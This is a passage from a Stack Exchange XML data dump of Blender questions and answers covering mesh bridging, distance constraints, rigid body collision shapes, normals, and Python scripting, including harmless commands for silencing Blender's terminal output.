  <row Id="6108" PostTypeId="2" ParentId="6107" CreationDate="2014-01-08T22:00:54.340" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/Bridge&quot; rel=&quot;noreferrer&quot;&gt;Bridge tool&lt;/a&gt; is probably your best bet. The connection is going to have issues if there are a different number of vertices on each edge. Either, the number has to be the same, or there will be lots of triangles. These issues might not actually be problems, for what you want to do, but it's something to be aware of.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-08T22:00:54.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6109" PostTypeId="2" ParentId="6107" CreationDate="2014-01-08T22:02:04.770" Score="4" Body="&lt;p&gt;Use &lt;a href=&quot;https://sites.google.com/site/bartiuscrouch/looptools&quot; rel=&quot;nofollow&quot;&gt;LoopTools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First move the ear away from the head, just to make it easier. Then join the two meshes with &lt;strong&gt;Ctrl-J&lt;/strong&gt;. Then tab into Edit mode, select the two edges that will be connected. Use LoopTool's &lt;em&gt;Bridge&lt;/em&gt; to join them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then move the ear back where it belongs.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2014-01-08T22:02:04.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6111" PostTypeId="1" AcceptedAnswerId="6112" CreationDate="2014-01-08T22:30:05.017" Score="5" ViewCount="232" Body="&lt;p&gt;Is it possible to do a radius constraint in Blender? &#xA;For example, consider 2 cubes, 1 unit apart, as the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[]--1 unit--[]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we move the box on the right up or down, it will retain same distance as the following;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    []&#xA;    /&#xA;   1 unit &#xA;  /&#xA;[] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not for Blender Game Engine, I simply want to set up constraints, but can't see of how to get it done in Blender.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2014-01-08T22:47:36.727" LastActivityDate="2014-01-08T22:47:36.727" Title="Is it possible to do a radius constraint in Blender?" Tags="&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6112" PostTypeId="2" ParentId="6111" CreationDate="2014-01-08T22:31:49.557" Score="5" Body="&lt;p&gt;I think what you are looking for is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Limit_Distance#Limit_Distance_Constraint&quot;&gt;&lt;em&gt;Limit Distance&lt;/em&gt;&lt;/a&gt; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Limit_Distance#Description&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;Limit Distance&lt;/em&gt; constraint forces its owner to stay either further from, nearer to, or exactly at a given distance from its target. In other words, the owner’s location is constrained either outside, inside, or at the surface of a sphere centered on its target.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-08T22:31:49.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6113" PostTypeId="2" ParentId="6096" CreationDate="2014-01-08T23:23:04.067" Score="1" Body="&lt;p&gt;Okay, here's a start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;a = Vector((..., ..., ...))&#xA;b = Vector((..., ..., ...))&#xA;c = Vector((..., ..., ...))&#xA;&#xA;ab = b - a&#xA;ac = c - a&#xA;&#xA;normal = ab.cross(ac)&#xA;normal.normalize()&#xA;&#xA;# assuming Z is up&#xA;slope_dir = normal.xy&#xA;&#xA;&#xA;# Heres 3 methods you could use to measure slope amount...&#xA;&#xA;# measure xy length (0-1) where 1 is flat.&#xA;slope_amount = slope_dir.length&#xA;# so you can tell if the slope points up or down...&#xA;slope_amount = slope_dir.length * (1.0 if normal.z &amp;gt; 0.0 else -1.0)&#xA;&#xA;# use normal z axis, 1.0 will be up, -1.0 down.&#xA;slope_amount = normal.z&#xA;&#xA;# measure slope angle (0 - pi) where 0 is flat.&#xA;slope_amount = Vector((0.0, 0.0, 1.0)).angle(normal)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-01-09T13:57:31.893" LastActivityDate="2014-01-09T13:57:31.893" CommentCount="2" CommunityOwnedDate="2014-01-08T23:23:04.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="6114" PostTypeId="1" AcceptedAnswerId="6118" CreationDate="2014-01-09T04:36:42.347" Score="2" ViewCount="1241" Body="&lt;p&gt;I'm following this &lt;a href=&quot;http://cg.tutsplus.com/tutorials/blender/creating-a-low-poly-ninja-game-character-using-blender-uvmapping-and-texturing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; about texturing a model. I'm already in step 30 but when I baked my model, I get these holes between the neck and chest. What causes this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Even when not baking and just setting the shading to smooth, shows this odd faces (3rd picture). I think its because of how I connected the neck to the body. Any tips on how should I correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwWgo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2UXD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v74JM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2100" LastEditorDisplayName="user2100" LastEditDate="2014-01-09T07:43:39.277" LastActivityDate="2014-01-09T21:08:59.527" Title="Blender baking problem" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6115" PostTypeId="1" AcceptedAnswerId="6117" CreationDate="2014-01-09T05:34:32.247" Score="7" ViewCount="9686" Body="&lt;p&gt;Try the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;scene:&lt;/strong&gt;&lt;br&gt;&#xA;Add a cube; add a UVsphere; move sphere on X axis until less than half sphere intersects the cube. make a duplicate of sphere; apply boolean on cube (difference with sphere); add a plane; move it just a little below of them.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;physics:&lt;/strong&gt;&lt;br&gt;&#xA;set rigidbody for all; adjust collision-shape (c.s) for plane=mesh; cutted-cube={chull, mesh) and sphere={sph, chull, mesh}. adjust mass to whatever you like; set in the world setting: check impulse; increase steps 300; iteration 50. play as you can.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Now check the following animations:&lt;/em&gt; Unfortunately we couldn't find a setting that makes this very simple physics working properly. The cube and sphere shouldn't react each other horizontally at all, bouncing should stop immediately! our simulations are just disappointing so far, for us :(&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scaling objects even 20 times didn't work but added additional problems.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1tK9C.gif&quot; alt=&quot;mode usual&quot;&gt; original sizes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2v1z.gif&quot; alt=&quot;scaled 20&quot;&gt; all scaled 20 times&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibObr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: there are some similar posts such as one of &lt;a href=&quot;https://blender.stackexchange.com/questions/5923/why-do-fractured-parts-act-like-an-explosion&quot;&gt;ours&lt;/a&gt;. here we aimed to go to details with a simplistic model possible. In complex simulations, such odd things are too hard to be seen. We think there should be quiet technical reasons for these unrealistic effects and hopefully a way to solve them.&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-01-09T08:59:44.920" Title="unexpected reactions in a quiet simple rigidbody physics simulation" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6116" PostTypeId="2" ParentId="6115" CreationDate="2014-01-09T07:33:29.640" Score="0" Body="&lt;p&gt;With the default settings only the cube and spheres type set to &lt;em&gt;Active&lt;/em&gt; and *Rigid Body Collision** set to &lt;em&gt;Mesh&lt;/em&gt; the described behaviour doesn't occur. (Plane set to passive,mesh)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAkzu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zltIj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-09T07:48:41.167" LastActivityDate="2014-01-09T07:48:41.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6117" PostTypeId="2" ParentId="6115" CreationDate="2014-01-09T07:49:45.050" Score="10" Body="&lt;p&gt;I had no problems with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Rigid_Body_World&quot;&gt;&lt;em&gt;Split Impulse&lt;/em&gt;&lt;/a&gt; enabled in &lt;em&gt;Scene &gt; Rigid body world&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMAnU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Both the cube and the sphere with &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Shapes&quot;&gt;&lt;em&gt;Mesh&lt;/em&gt;&lt;/a&gt; collision shape and &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Margin&quot;&gt;&lt;em&gt;Margin&lt;/em&gt;&lt;/a&gt; set to &lt;code&gt;0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SEUnQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important in this case to set the &lt;em&gt;Margin&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; because the collision margin for mesh is not embedded into the object, so it will collide with objects that are near the object's surface but not actually touching it (unless it's set to &lt;code&gt;0&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also important to use the &lt;em&gt;Mesh&lt;/em&gt; collision shape in this case, because &lt;em&gt;Convex hull&lt;/em&gt; will collide with any objects in a convex part of the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize this, have a look at the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/BMesh#Convex_Hull&quot;&gt;convex hull operator&lt;/a&gt;. Try applying it on a Suzanne, the result is roughly what Suzanne's collision shape would be if it was set to convex hull:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCuwJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Applied to your cube object, you can see why it was causing a collision with the sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYHhS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Mesh&lt;/em&gt; is currently the only collision shape that can handle collisions with concave shapes. &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2013/Documentation#Convex_decomposition&quot;&gt;There was another shape developed in GSoC 2013 which also could handle concave shapes by breaking them into smaller convex shapes&lt;/a&gt;, however this is not yet integrated with blender officially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why &lt;em&gt;Mesh&lt;/em&gt; is necessary for the sphere is because the sphere you are using is not a perfect sphere, while the collision shape is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the concave depression in the cube exactly matches the &quot;facets&quot; of the UV sphere and the &lt;em&gt;Sphere&lt;/em&gt; collision shape's radius is equal to the longest dimension of the object's bounding box, the sphere collision shape will intersect the cube slightly and cause a collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize this, I have added a highly subdivided sphere to simulate the perfect sphere of the collision shape and scaled it so that it's radius is equal to the dimension of the UV sphere. I then used &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#View_Clipping_Border&quot;&gt;&lt;em&gt;Clipping border&lt;/em&gt;&lt;/a&gt; to make only a tiny cross section visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W0H3s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the &quot;perfect sphere&quot; intersects the cube, causing a collision to be detected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HLeEm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ground cube set to &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Shapes&quot;&gt;&lt;em&gt;Box&lt;/em&gt;&lt;/a&gt; collision shape with a &lt;code&gt;.04&lt;/code&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Margin&quot;&gt;margin&lt;/a&gt; (the margin is embedded for the box collision shape).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All objects have &lt;a href=&quot;http://wiki.blender.org/index.php/User:Fade/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations#Apply_Options&quot;&gt;scale applied&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects#Object_Centers&quot;&gt;origins centered&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTX4G.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26183&quot;&gt;&lt;strong&gt;Example blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-09T08:59:44.920" LastActivityDate="2014-01-09T08:59:44.920" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6118" PostTypeId="2" ParentId="6114" CreationDate="2014-01-09T07:51:38.320" Score="3" Body="&lt;p&gt;It was because the normals of the faces got turned upside down, so backfacing was making them invisible in textured view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I had to do is recalculate the normals: &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&gt; Edit mode &gt;&lt;/em&gt; &lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Select all &gt;&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;&gt; Recalculate normals&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user2100" LastEditorUserId="599" LastEditDate="2014-01-09T21:08:59.527" LastActivityDate="2014-01-09T21:08:59.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6119" PostTypeId="1" AcceptedAnswerId="34221" CreationDate="2014-01-09T07:51:59.493" Score="6" ViewCount="4790" Body="&lt;p&gt;Every time the &lt;code&gt;bpy.ops.remove_doubles()&lt;/code&gt; operator is used, it outputs to my terminal (where I called Blender from).  How can I suppress this output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.ops.mesh.select_all(action='TOGGLE')&#xA;bpy.ops.mesh.remove_doubles()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the undesired output is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Info: Removed 48 vertices&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="55" LastEditDate="2015-07-18T20:48:49.533" LastActivityDate="2016-02-15T15:09:25.160" Title="Suppress output of Python operators (bpy.ops.*)" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6120" PostTypeId="1" AcceptedAnswerId="6121" CreationDate="2014-01-09T11:22:35.920" Score="3" ViewCount="810" Body="&lt;p&gt;I'm just starting to get familiar with bpy.types and application modules, but I didn't find an answer to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning A Bezier Curve with multiple splines, is there a python way in EDIT mode to know on which spline I am working on (activated in the viewport) except iterating every single bezier_point inside ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;jimflim&lt;/p&gt;&#xA;" OwnerUserId="2103" LastEditorUserId="55" LastEditDate="2014-01-09T12:17:26.580" LastActivityDate="2015-02-03T09:18:31.663" Title="Access active spline from Bezier Curve" Tags="&lt;python&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6121" PostTypeId="2" ParentId="6120" CreationDate="2014-01-09T12:17:04.577" Score="5" Body="&lt;p&gt;You can access this from the spline collections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.object&#xA;curve = obj.data&#xA;spline = curve.splines.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_73a_release/bpy.types.CurveSplines.html#bpy.types.CurveSplines.active&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_73a_release/bpy.types.CurveSplines.html#bpy.types.CurveSplines.active&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-02-03T09:18:31.663" LastActivityDate="2015-02-03T09:18:31.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6122" PostTypeId="2" ParentId="6088" CreationDate="2014-01-09T13:23:59.623" Score="5" Body="&lt;p&gt;You can add a curve guide to specify the path the particles will follow between the two objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JyAGc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for something fancy you can you can give the guide a braid kink to have it swirl around the curve on the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/06YeR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-09T13:23:59.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6124" PostTypeId="1" AcceptedAnswerId="6144" CreationDate="2014-01-09T16:25:27.463" Score="1" ViewCount="254" Body="&lt;p&gt;I'd like to work on an Addon project to build facades from imported Curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I dynamically display in the UI e.g. the spline's number of a curve and how many points it contains?&lt;br&gt;&#xA;I've tried with an update &lt;code&gt;selected_object&lt;/code&gt; method inside and outside the drawing function of my class but I'm not sure at all about that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2ynY.png&quot; alt=&quot;Spline selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, it's a far fetch, I'm not looking for solutions, more for directions. Ultimately, I'd like to be able to select and sort for example &quot;window&quot; type splines and &quot;wall&quot; type splines before generating a meshed solid with window frames out of it.&lt;/p&gt;&#xA;" OwnerUserId="2103" LastEditorUserId="599" LastEditDate="2014-01-09T17:05:15.747" LastActivityDate="2014-01-10T09:10:35.053" Title="How can I dynamically show objects properties in the UI with python?" Tags="&lt;python&gt;&lt;interface&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostTypeId="2" ParentId="6119" CreationDate="2014-01-09T17:25:34.617" Score="2" Body="&lt;p&gt;To filter the shell output of Blender you can start it via command line using a pipe with &lt;em&gt;sed&lt;/em&gt; (Linux / OSX) or &lt;em&gt;findstr&lt;/em&gt; (Windows). We can use &lt;em&gt;sed&lt;/em&gt; or &lt;em&gt;findstr&lt;/em&gt; to omit every line that starts with &lt;code&gt;Info&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux / OSX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender 2&amp;gt;&amp;amp;1 | grep --line-buffered -v '^Info'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender.exe 2&amp;gt;&amp;amp;1 | findstr /v /b &quot;Info&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;findstr&lt;/em&gt; on Windows doesn't seem to have a similar option like &lt;code&gt;--line-buffered&lt;/code&gt;. You could &lt;a href=&quot;http://gnuwin32.sourceforge.net/packages/grep.htm&quot; rel=&quot;nofollow&quot;&gt;install grep for Windows&lt;/a&gt; though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mute Blender all together preventing it from printing anything you can do this too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux / OSX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender 2&amp;gt;&amp;amp;1 &amp;gt; NUL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2014-01-10T11:21:15.990" LastActivityDate="2014-01-10T11:21:15.990" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6126" PostTypeId="2" ParentId="6119" CreationDate="2014-01-09T17:38:49.910" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6796492/python-temporarily-redirect-stdout-stderr&quot;&gt;This&lt;/a&gt; looks to be exactly what you need. This process would work well for redirecting &lt;code&gt;stdout&lt;/code&gt; and/or &lt;code&gt;stderr&lt;/code&gt; to &lt;code&gt;/dev/null&lt;/code&gt; when you're about to display something that you don't want to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, point the current references to /dev/null, which will make output go away:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;devnull = open(os.devnull, 'w')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sys.stdout, sys.stderr = devnull, devnull&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...then point them back to stdout and stderr when you're done, which will restore normal output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sys.stdout = self.__stdout__&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sys.stderr = self.__stderr__&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-01-10T16:56:21.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostTypeId="1" AcceptedAnswerId="6224" CreationDate="2014-01-09T21:20:18.750" Score="2" ViewCount="627" Body="&lt;p&gt;Is it possible to render AO with the openGL render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Screen_space_ambient_occlusion&quot; rel=&quot;nofollow&quot;&gt;technique called SSAO which is used in some video games&lt;/a&gt;, so it should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-12T09:38:28.590" Title="Is it possible to render AO with the OpenGL render?" Tags="&lt;rendering&gt;&lt;shaders&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostTypeId="1" AcceptedAnswerId="6151" CreationDate="2014-01-10T00:02:04.443" Score="2" ViewCount="51" Body="&lt;p&gt;Assume that I have materials &quot;Foo_1&quot;, &quot;Foo_2&quot;, and &quot;Foo_3&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's just say, that material &quot;Foo_1&quot; with a alpha transparency value of 0.4 or something. Would it be possible for me to copy this property of &quot;alpha transparency 0.4&quot; to materials &quot;Foo_2&quot; and &quot;Foo_3&quot; (and possibly more)?&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2014-01-10T09:15:32.597" Title="Is it possible to copy a certain property of a certain material to other materials?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6131" PostTypeId="2" ParentId="5371" CreationDate="2014-01-10T00:03:10.680" Score="8" Body="&lt;p&gt;Finding the parameters necessary to generate such a shape should be possible with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Shapes&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Shape setting determines the collision shape of the object. The&#xA;  following shapes are available:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Primitive shapes&lt;/strong&gt; - these are best in terms of memory/performance but don't necessarily reflect the actual shape of the object. They're&#xA;  calculated based on the object's bounding box. The center of gravity&#xA;  is always in the middle for now.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Box&lt;/strong&gt;: The size per axis is calculated from the bounding box&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Sphere&lt;/strong&gt;: The radius is the largest axis of the bounding box&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Capsule&lt;/strong&gt;: This points up the Z-Axis.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cylinder&lt;/strong&gt;: This points up the Z-Axis. The height is taken from the z-axis, while the radius is the larger of the x/y-axes.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cone&lt;/strong&gt;: This points up the Z-Axis. The height is taken from the z-axis, while the radius is the larger of the x/y-axes. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;'&lt;strong&gt;Mesh based shapes&lt;/strong&gt;' - these are calculated based on the geometry&#xA;  of the object so they are a better representation of the object. The&#xA;  center of gravity for these shapes is the object origin.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Convex Hull&lt;/strong&gt;: Convex approximation of the object, has good performance and stability.&lt;/li&gt;&#xA;  